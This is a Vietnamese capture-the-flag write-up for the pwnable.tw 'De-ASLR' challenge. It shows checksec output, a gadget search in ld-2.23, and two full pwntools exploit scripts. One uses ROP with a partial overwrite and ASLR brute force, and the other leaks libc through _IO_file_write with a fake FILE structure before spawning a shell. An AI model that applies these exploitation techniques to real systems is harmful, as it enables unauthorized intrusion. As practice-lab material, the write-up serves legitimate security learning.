pwnable.tw

De-ASLR

tl;dr: Tận dụng địa chỉ libc, ld còn sót lại trên stack, phía dưới stack frame thì do tổ tiên caller, phía trên thì do callee; Bruteforce ASLR với xác suất; Exploit trên remote có thể cần nhiều lần chạy kể cả khi local chỉ cần 1 lần;

February 25, 2026 Hard

Recon

Mitigation

r$ pwn checksec deaslr
[*] '/home/hungnt/pwnable.tw/deaslr/deaslr'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ file deaslr
deaslr: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a9cbf850706a59f349054a95d97843ff5a48f0, not stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7790b0400000
           /home/hungnt/pwnable.tw/deaslr/libc_64.so.6
    ld is at:               0x7790b0800000
           /home/hungnt/pwnable.tw/deaslr/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

Partial Overwrite Solve

Trên stack còn bỏ sót lại một địa chỉ nằm trong ld, nếu mình ROP đến đó và ghi đè một vài byte cuối để trỏ đến một gadget hay ho nào đó thì sao?

Mình chỉ muốn ghi đè cùng lắm là 2 byte, mình thử objdump xem có gadgets nào call thanh ghi ko, để mình kiểm soát dễ hơn:

$ objdump -M intel -d --start-address=0x0 --stop-address=0x10000 ld-2.23.so > ld_gadgets

Mình dùng regex tìm:

\bcall\s+r(?:ax|bx|cx|dx|si|di|sp|bp|8|9|1[0-5])\b

Đây là một số gadgets hữu ích, mình có thể control các thanh ghi cần thiết và sau đó call rax để control RIP.

c352:	48 8b 43 10          	mov    rax,QWORD PTR [rbx+0x10]
c356:	48 83 c3 18          	add    rbx,0x18
c35a:	49 03 04 24          	add    rax,QWORD PTR [r12]
c35e:	ff d0                	call   rax

c7f0:	48 8b 43 10          	mov    rax,QWORD PTR [rbx+0x10]
c7f4:	49 03 07             	add    rax,QWORD PTR [r15]
c7f7:	ff d0                	call   rax

c9f0:	48 8b 43 10          	mov    rax,QWORD PTR [rbx+0x10]
c9f4:	49 03 04 24          	add    rax,QWORD PTR [r12]
c9f8:	4c 89 9d 28 ff ff ff 	mov    QWORD PTR [rbp-0xd8],r11
c9ff:	4c 89 95 30 ff ff ff 	mov    QWORD PTR [rbp-0xd0],r10
ca06:	ff d0                	call   rax

d0b0:	48 8b 43 10          	mov    rax,QWORD PTR [rbx+0x10]
d0b4:	49 03 07             	add    rax,QWORD PTR [r15]
d0b7:	ff d0                	call   rax

d193:	48 8b 43 10          	mov    rax,QWORD PTR [rbx+0x10]
d197:	49 03 04 24          	add    rax,QWORD PTR [r12]
d19b:	4c 89 95 30 ff ff ff 	mov    QWORD PTR [rbp-0xd0],r10
d1a2:	ff d0                	call   rax

d31f:	48 8b 52 08          	mov    rdx,QWORD PTR [rdx+0x8]
d323:	48 03 10             	add    rdx,QWORD PTR [rax]
d326:	48 89 d0             	mov    rax,rdx
d329:	ff d0                	call   rax

d72f:	48 8b 52 08          	mov    rdx,QWORD PTR [rdx+0x8]
d733:	48 03 10             	add    rdx,QWORD PTR [rax]
d736:	48 89 d0             	mov    rax,rdx
d739:	ff d0                	call   rax

Giả sử mình chọn gadgets bắt đầu tại 0xc7f0, nếu ở rbx+0x10 chứa địa chỉ libc nào đó, r15 chứa offset từ địa chỉ đó đến system(). Vì PIE disabled nên mình có rbx gần vùng GOT của binary luôn.

Mình chạy trên WSL Ubuntu 24.04 thấy rằng địa chỉ ld luôn kết thúc bằng 0x00000 nên mình có thể overwrite 2 byte + 1 byte null. Nhưng trên remote thì là Ubuntu 16.04, ld align theo page, kết thúc 0x000, chỉ overwrite 1 byte + 1 byte null, nên cần phải chọn gadgets bắt đầu tại 0xd0b0, thì bruteforce 4 bit mới đc.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

exe = ELF("deaslr_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *main+30
b *0x4005c8
continue
'''

def conn():
    if args.LOCAL:
        p = process(exe.path)
        sleep(0.1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10402
        return remote(host, port)

gets_to_system = libc.symbols['system'] - libc.symbols['gets']
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_rdi_ret = 0x4005c3
binsh_addr = exe.bss()
offset_addr = exe.bss() + 8
nop_ret = 0x4005c8

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)

    p = conn()

    # On WSL Ubuntu 24.04 ld base always ends with 0x100000
    if args.LOCAL:
        with open(f'/proc/{p.pid}/maps') as f:
            ld_lines = [line for line in f if 'ld-2.23.so' in line]
        print(ld_lines[0], end='')
        if int(ld_lines[0].split('-')[0], 16) % 0x1000000 == 0:
            if args.GDB:
                gdb.attach(p, gdbscript=gdbscript)
                sleep(1)
        else:
            p.close()
            continue

    pl = flat(
        A(0x18),

        # Write /bin/sh to bss
        pop_rdi_ret,
        binsh_addr,
        exe.plt['gets'],

        # Set rbx and r15
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        exe.got['gets'] - 0x10,
        0, 0, 0, 0,
        offset_addr,

        pop_rdi_ret,
        binsh_addr,

        p64(nop_ret) * 6,
    )

    if args.LOCAL:
        # Ubuntu 24.04 WSL
        pl += p16(0xc7f0)
    else:
        # Ubuntu 16.04 (Remote)
        # ld ends with 0x1000
        pl += p8(0xb0)
    # null byte at then end

    sl(p, pl)
    
    sleep(0.25)

    sl(p, flat(b'/bin/sh\0', gets_to_system))
    
    if args.GDB:
        input()
        
    try:
        sleep(0.5)
        sl(p, b'id')
        if p.recvuntil(b'id', timeout=0.5):
            print("Spawn shell:")
            rr(p, 0.5)
            ia(p)
        else:
            raise exception
    except:
        print("Failed attempt")
        p.close()
        continue

    p.close()
    break

Libc Leak Solve

Ok bây giờ sang hướng đi ko bruteforce, mình lợi dụng việc stack frame của gets() ko đc dọn dẹp, để sót lại địa chỉ libc, cụ thể là stdin:

Vậy ý tưởng là mình sẽ pivot stack đến nơi có địa chỉ mình kiểm soát được, là vùng bss của binary, sau đó mình tiếp tục ghi các đoạn ROP ở ngay phía trên và phía dưới nơi chứa địa chỉ stdin kia, sao cho địa chỉ này sẽ đc pop vào thanh ghi nào đó, và lại dùng chiêu gadget call như hướng ở trên.

Tìm loanh quanh trong binary thì mình có cái gadget như sau, mục tiêu là pop đc vào r12:

  4005a0:	4c 89 ea             	mov    rdx,r13
  4005a3:	4c 89 f6             	mov    rsi,r14
  4005a6:	44 89 ff             	mov    edi,r15d
  4005a9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]

Vậy việc cần làm là kiểm soát rbx, r12, r13, r14, r15 sao cho tại địa chỉ r12+rbx*8 (trong libc) có chứa một hàm hữu ích nào đó. Thật may là có cái gadget này:

  4005ba:	5b                   	pop    rbx
  4005bb:	5d                   	pop    rbp
  4005bc:	41 5c                	pop    r12
  4005be:	41 5d                	pop    r13
  4005c0:	41 5e                	pop    r14
  4005c2:	41 5f                	pop    r15
  4005c4:	c3                   	ret

Nhớ rằng trong libc có vtable, chứa nhiều con trỏ hàm hay ho, đặc biệt ở đây là hàm ssize_t _IO_file_write (FILE *f, const void *data, ssize_t n), mình có thể truyền vào một fake FILE structure vào rdi, cho data trỏ đến nơi cần thiết để leak ra libc.

Có libc rồi, mình chỉ cần ROP gọi execve() hay system() là xong.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len

exe = ELF("deaslr_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *main+30
b *__libc_csu_init+73
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.25)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10402
        return remote(host, port)

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_rdi_ret = 0x4005c3
pop_rsi_r15_ret = 0x4005c1
nop_ret = 0x4005c8
leave_ret = 0x400554
call = 0x4005a0

stack_1 = 0x601400
stack_2 = stack_1 + 0x400
fake_file = stack_2 + 0x58
stdin_addr = stack_1 - 0x60

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)

    p = conn()

    print("1st write -> ROP at main() return")
    # First ROP
    pl = flat(
        A(0x10),
        stack_1, # saved rbp

        pop_rdi_ret,
        stack_1,
        exe.symbols['gets'], # 2nd write
        
        leave_ret # rsp -> stack 1, rbp -> stack 2
    )
    sl(p, pl)

    sleep(0.1)

    print("2nd write -> ROP at stack 1")
    # ROP at stack 1
    pl = flat(
        stack_2, # saved rbp
        exe.symbols['main'], # 3rd write
        leave_ret, # rsp -> stack 2, rbp -> stdin_addr - 0x20
    )

    # Padding
    pl += p64(0) * ((stack_2 - stack_1 - 0x18)//8)

    # ROP at stack 2
    pl += flat(
        stdin_addr - 0x20, # saved rbp

        pop_rdi_ret,
        stdin_addr + 0x8,
        exe.symbols['gets'], # 4th write

        pop_rdi_ret,
        stdin_addr - 0x18,
        exe.symbols['gets'],  # 5th write

        pop_rdi_ret,
        stack_1,
        exe.symbols['gets'], # 6th write

        leave_ret, # rsp -> stdin_addr - 0x20
    )

    # Fake FILE structure
    # __fileno = 1, __flags2 = 2 (write syscall can't be canceled)
    pl += flat(z(0x70), 1, 2)

    sl(p, pl)

    sleep(0.1)

    print("3rd write -> STDIN address at stack 1 - 0x60")
    sl(p, b'A')

    '''
    4005a0:	4c 89 ea             	mov    rdx,r13
    4005a3:	4c 89 f6             	mov    rsi,r14
    4005a6:	44 89 ff             	mov    edi,r15d
    4005a9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
    '''
    print("4th write -> ROP under STDIN address")
    pl = flat(
        100, # r13 -> rdx
        exe.got['gets'], # r14 -> rsi
        fake_file, # r15 -> rdi
        call # _IO_file_write
    )
    sl(p, pl)

    print("5th write -> ROP above STDIN address")
    '''
    tele 0x70dc813c0000+0x4eb*8
    0x70dc813c2758 (__GI__IO_file_jumps+120) —▸ 0x70dc81078b70 (_IO_file_write@@GLIBC_2.2.5)
    '''
    pl = flat(
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        0x4eb, # rbx
        0x4ec, # rbp = rbx + 1, to return
        b'\0', # Overwrite last byte -> _nl_C_LC_TIME+160
    )
    sl(p, pl)

    print("6th write -> to have another gets() after leaking libc")
    pl = flat(
        pop_rdi_ret,
        stack_1 + 0x18,
        exe.plt['gets'] # 7th write
    )
    sl(p, pl)

    sleep(0.5)

    try:
        libc.address = leak_bytes(rn(p, 6), libc.symbols['gets'])
        lg("libc base", libc.address)
    except:
        print("Failed attempt")
        p.close()
        continue
    
    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL
    '''
    one_gadget = libc.address + 0x4526a
    lg("one gadget", one_gadget)
    print("7th write -> one_gadget")
    pl = flat(
        one_gadget,
        p64(0) * 5
    )
    sl(p, pl)

    rr(p, 0.5)
    ia(p)
    p.close()
    break